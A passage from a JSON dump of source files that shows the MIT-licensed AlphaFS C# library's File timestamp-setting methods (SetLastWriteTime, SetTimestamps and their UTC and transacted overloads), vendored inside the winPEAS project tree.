    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetLastWriteTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestamps.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>     \n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n      \n      \n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>      \n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified file, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsUtc.cs",
